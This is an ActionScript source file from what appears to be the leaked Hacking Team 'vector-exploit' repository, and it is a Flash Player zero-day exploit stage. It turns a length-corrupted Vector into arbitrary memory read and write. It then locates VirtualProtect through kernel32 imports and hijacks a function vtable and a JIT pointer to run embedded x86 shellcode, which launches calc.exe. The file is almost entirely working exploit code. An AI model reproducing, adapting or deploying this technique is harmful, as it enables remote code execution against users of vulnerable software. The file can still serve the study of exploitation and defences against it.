hackedteam/vector-exploit

View on GitHub
src/flash-0day-vitaly2/exp1/ShellWin32.as

Summary

Maintainability
Test Coverage
package
{
    import flash.utils.ByteArray;
    
    class ShellWin32 extends MyClass
    {
        static var
            _v:Vector.<uint>,    // uint vector with corrupted length >= 0x40000000
            _vAddr:uint,        // _v[0] address
            _mc:MyClass2,
            _mcOffs:uint,        // index of mc.o1 within _v[]
            
            // x32 shellcode // searches and calls CreateProcessA("calc.exe",...) and returns eax as uint atom
            _x32:Vector.<uint> = Vector.<uint>([            
                0x83EC8B55, 0x5153ACC4, 0x058B6457, 0x00000030, 0x8B0C408B, 0x008B0C40, 0x588B008B, 0x03D88918,
                0x508B3C40, 0x8BDA0178, 0xDF01207A, 0x078BC931, 0x3881D801, 0x61657243, 0x78811C75, 0x4173730B,
                0x8B137500, 0xD8012442, 0x4804B70F, 0x011C528B, 0x821C03DA, 0xC78309EB, 0x4A3B4104, 0x8DCF7C18,
                0x8D50F045, 0x3157AC7D, 0x0011B9C0, 0xABF30000, 0x44AC45C7, 0x50000000, 0x50505050, 0x0009E850,
                0x61630000, 0x652E636C, 0x50006578, 0x595FD3FF, 0x03E0C15B, 0xC906C083, 0x909090C3
            ]);
             
        // converts uint to hex string
        static function Hex(u:uint):String
        {
            if (u <= 9 ) return u.toString() 
            else return "0x" + u.toString(16);
        }
        
        // init global vars
        static function Init(v:Vector.<uint>, vAddr:uint, mc:MyClass2, mcOffs:uint):Boolean
        {
            _v = v; _vAddr = vAddr; _mc = mc; _mcOffs = mcOffs;
            
            logAdd("v[0] address = " + Hex(_vAddr));
            return Get(vAddr - 8) == v.length;
        }            
        
        // restores corrupted memory
        static function CleanUp()
        {
            // restore _v.length
            Set(_vAddr - 0x8, 0x3f0);
        }
        
        // reads uint from the custom memory address
        static function Get(addr:uint):uint
        {
             if (addr < 0x10000) throw new Error("Get() at addr = " + Hex(addr)); // bad pointer
            return _v[(addr - _vAddr) >>> 2];
        }
        
        // writes uint into the custom memory address
        static function Set(addr:uint, val:uint)
        {
             if (addr < 0x10000) throw new Error("Set() to addr = " + Hex(addr)); // bad pointer
            _v[(addr - _vAddr) >>> 2] = val;
        }        
        
        // returns object's address 
        static function GetAddr(obj:Object):uint
        {
            _mc.o1 = obj;
            return _v[_mcOffs] - 1; // atom decrement
        }
        
        // searches for the kernel32.VirtualProtect() address
        static function FindVP():uint
        { 
            try 
            {
                // find IMAGE_DOS_HEADER
                var u:uint, b:uint = _v[_mcOffs-3]; // b = vtable pointer inside dll/exe
                b = uint(b & 0xffff0000) - 0x400000 - _vAddr;
                for(var i:uint; i < 0x90; i++, b -= 0x10000){
                    // check 'MZ'
                    u = b >>> 2;
                    if (uint(_v[u] & 0xffff) == 0x5a4d) break; 
                }
                if (i >= 0x90) throw new Error("can't find MZ from " + Hex(_v[_mcOffs-3]));
                
                // get IMAGE_NT_HEADERS
                u += 15;
                u = (b + _v[u]) >>> 2;
                // check 'PE'
                if (_v[u] != 0x4550) throw new Error("can't find PE");
                
                // get IMAGE_IMPORT_DIRECTORY
                u += 33;
                var size:uint = _v[u] >>> 2
                u = uint(b + _v[--u]) >>> 2; 
                
                // find kernel32.dll
                var v:Vector.<uint> = new Vector.<uint>(4);
                var oft:uint, ft:uint, j:uint, k:uint;
                u += 3;
                for(i=3; i < size; i += 5, u += 5){
                    // read dll name into vector
                    j = (b + _v[u]) >>> 2; 
                    for(k=0; k < 4; k++, j++) v[k] = _v[j]; 
                    
                    // check dll name
                    if (MyUtils.IsEqual(v, "KERNEL32.DLL")) {
                        oft = _v[u-3]; ft = _v[u+1]; 
                        break;
                    }
                }
                
                if (oft == 0 || ft == 0) throw new Error("can't find kernel32");
                
                // find VirtualProtect() address
                u = uint(b + oft) >>> 2;
                v.length = 5;
        
                for(i=0; i < 256; i++, u++){
                    // get proc name
                    j = _v[u];
                    if (j == 0) throw new Error("can't find VirtualProtect");
                    j = (b + j) >>> 2; 
                    for(k=0; k < 5; k++, j++) v[k] = _v[j]; 
                    
                    // check proc name
                    if (MyUtils.IsEqual(v, "VIRTUALPROTECT", 2) && (MyUtils._bArr.readByte() == 0)) {
                        j = uint(b + ft + i*4) >>> 2;
                        return _v[j];
                    }
                }
            } 
            catch (e:Error) 
            {
                logAdd("FindVP() " + e.toString());
            }
            
            return 0;
        }
        
        // declare dummy victim function
        static function Payload(...a){}
        
        // corrupts Payload function and calls VirtualProtect()
        static function CallVP(vp:uint, xAddr:uint, xLen:uint)
        {
            // generate Payload function object
            Payload();

            // find vtable pointer in Payload()
            var p:uint = GetAddr(Payload);
            var ptbl:uint = Get(Get(Get(Get(p + 8) + 0x14) + 4) + (_isDbg ? 0xbc:0xb0));
            // save old pointers
            var p1:uint = Get(ptbl);
            var p2:uint = Get(p+0x1c);
            var p3:uint = Get(p+0x20);
            
            // create copy of vtable
            for(var i:uint; i < 0x100; i++) _v[i] = Get(p1-0x80 + i*4);
            // redirect one pointer to VirtualProtect()
            _v[0x20+7] = vp; 
            
            // set first arg for VirtualProtect()
            Set(p+0x1c, xAddr);
            // set second arg
            Set(p+0x20, xLen);
            // set third arg = 0x40 PAGE_EXECUTE_READWRITE
            var args:Array = new Array(0x41);            
            
            // replace vtable pointer in Payload()
            Set(ptbl, _vAddr + 0x80);
            
            // call VirtualProtect()
            var res = Payload.call.apply(null, args);
            
            // restore old pointers
            Set(ptbl, p1);
            Set(p+0x1c, p2);
            Set(p+0x20, p3);
            
            // res should be nonzero (eax != 0)
            //if (("" + res) == "undefined") throw new Error("VirtualProtect() result = 0")
            //else logAdd("VirtualProtect() result = " + res);
        }
        
        //
        static function Exec()
        {                                        
            try 
            {                        
                // get _x32[0] address
                var xAddr:uint = GetAddr(_x32);
                logAdd("x32[] object = " + Hex(xAddr));
                xAddr += _isDbg ? 0x1c : 0x18;
                if (Get(xAddr) < 0x10000) xAddr -= 4; // for FP 11.4
                xAddr = Get(xAddr) + 8;
                logAdd("x32[] data = " + Hex(xAddr));                
                
                // get kernel32.VirtualProtect() address
                var vpAddr:uint = FindVP();
                logAdd("VirtualProtect() address = " + Hex(vpAddr));
                if (vpAddr == 0) throw new Error("vpAddr == 0");
                
                // call VirtualProtect()
                CallVP(vpAddr, xAddr, _x32.length*4);        
                
                // find Payload JIT code pointer
                var payAddr:uint = GetAddr(Payload);
                logAdd("Payload() object = " + Hex(payAddr));
                payAddr = Get(Get(payAddr + 0x1c) + 8) + 4;
                var old:uint = Get(payAddr);

                // replace JIT pointer by &_x32[0]
                Set(payAddr, xAddr);        
                
                // call x32 payload
                var res = Payload.call(null);
                logAdd("CreateProcessA() returns " + res + (res == 0 ? " (in sandbox)":""));
                    
                // restore old pointer
                Set(payAddr, old);
            }
            catch (e:Error) 
            {
                logAdd("Exec() " + e.toString());
            }
            
            CleanUp();
        }

    }

}